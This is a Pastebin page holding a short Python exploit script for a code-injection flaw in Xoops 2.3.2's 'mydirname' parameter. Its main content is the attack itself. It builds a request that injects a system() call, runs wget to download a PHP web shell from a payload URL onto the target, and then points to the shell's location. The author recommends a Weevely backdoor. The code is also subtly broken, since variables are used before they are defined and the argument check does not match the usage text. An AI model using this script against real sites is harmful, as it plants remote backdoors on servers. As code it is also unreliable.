Advertisement
infodox

xoops_rce.py

Sep 30th, 2012
174
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.25 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # Title: Xoops 2.3.2 "mydirname" Remote Code Execution Exploit
  3. # CVE: ????-????
  4. # Reference: http://secunia.com/advisories/33435/
  5. # Author: infodox
  6. # Site: http://insecurety.net/
  7. # Twitter: @info_dox
  8. # Old news, just practicin' my python :3
  9. import requests
  10. import sys
  11.  
  12. vulnurl = "/xoops_lib/modules/protector/onupdate.php?" # Oh look, the vuln URL!
  13. xpl = "mydirname=a(){}system(%27"+cmd+"%27);%20function%20v"
  14. cmd = "wget%20"+payloadurl+"%20-O%20shell.php"
  15. payloadurl = "http://example.com/shell.php" # Your evil PHP code goes here right?
  16.  
  17. def banner():
  18.     print """
  19. Xoops "mydirname" remote code execution exploit. Basically PHP Eval() bug :)
  20. Rather lame exploit I must admit, just practicing my Python.
  21. To use, just run it against the host and pray. I advise using a Weevely payload.
  22. ~infodox
  23.    """
  24.    
  25. if len(sys.argv) != 4:
  26.     banner()
  27.     print "Usage: ./x2.py <target>"
  28.     print "Where <target> is the vulnerable website."
  29.     print "Example: ./x2.py http://lamesite.com"
  30.     sys.exit(1)
  31.    
  32. banner()
  33. target = sys.argv[1]
  34. pwnme = target + vulnurl + xpl
  35. print "[+] Running Exploit..."
  36. requests.get(pwnme)
  37. print "[?] Gotshell?"
  38. print "[+] Shell should be at "+target+"/xoops_lib/modules/protector/shell.php"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement